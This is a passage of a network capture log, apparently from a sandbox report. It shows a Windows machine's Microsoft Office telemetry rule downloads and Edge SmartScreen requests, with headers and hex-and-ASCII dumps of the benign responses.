<S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:39 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:39 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152139Z-178bfbc474b7cbwqhC1NYC8z4n00000007m0000000008kbp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:39 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:39 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 9a3ed3ee-501e-00a0-41c6-3e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152139Z-178bfbc474bnwsh4hC1NYC2ubs00000007tg000000003vrp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:39 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9053a11e-c01e-0046-640f-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152139Z-178bfbc474bw8bwphC1NYC38b400000007kg000000001d4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49826	4.249.200.148	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:39 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiOGFuWnAwVjQzdktieGlqVUdDV3Nmdz09IiwgImhhc2giOiJCK0VHQVNHSG5hMD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-25 15:21:39 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-25 15:21:40 UTC	248	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:39 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-25 15:21:40 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:39 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152139Z-174c587ffdf9xbcchC1TEBxkz400000005y000000000k5aa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49827	4.249.200.148	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:39 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiWjRVcyt0S1ZvVlVUM1VreGRjYTZ3Zz09IiwgImhhc2giOiJKM3doK3IwVHpiOD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-25 15:21:39 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-25 15:21:40 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:40 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-25 15:21:40 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-25 15:21:40 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-25 15:21:40 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-25 15:21:40 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-25 15:21:40 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-25 15:21:40 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-25 15:21:40 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-25 15:21:40 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:41 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:41 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152141Z-174c587ffdf89smkhC1TEB697s000000068g0000000044yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:41 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" 